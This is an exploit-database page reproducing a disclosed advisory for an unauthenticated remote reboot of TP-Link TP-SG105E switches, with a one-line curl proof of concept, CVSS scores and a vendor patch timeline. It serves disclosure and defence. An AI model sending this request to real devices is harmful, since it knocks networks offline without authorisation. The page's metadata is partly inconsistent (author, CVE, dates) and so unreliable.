Advertisement






TP-Link TP-SG105E 1.0.0 Unauthenticated Remote Reboot

CVE Category Price Severity
CVE-2021-42465 CWE-287 Not mentioned High
Author Risk Exploitation Type Date
Bastijn Koopmans High Remote 2020-01-25
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H/RL:O/RC:C 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020010198

Below is a copy:

TP-Link TP-SG105E 1.0.0 Unauthenticated Remote Reboot
# Exploit Title: TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# Date: 2020-01-20
# Exploit Author: PCEumel
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/us/support/download/tl-sg105e/#Firmware
# Version: TP-Link TP-SG105E V4
# Tested on: TP-SG105E V4 1.0.0 Build 20181120
# Patch from vendor : https://static.tp-link.com/2020/202001/20200120/TL-SG105Ev4.0_en_1.0.0_[20200119-rel.52079]_up.zip
# CVE : N/A

# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch".
# It features a web front end and an application (Easy Smart Configuration Utility)
# for easy configuration management.

# The device does not properly restrict access to an internal API.
# It is therefore possible to remotely reboot the device by sending a HTTP POST
# request.

---

# POC :
curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi

---

Timeline :
2019-09-16 | Vendor notified 
2019-09-25 | Reply (they will patch it)
2019-12-24 | First patch for testing
2019-12-19 | Confirmed the functionality of the patch
2020-01-14 | Public patch available

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.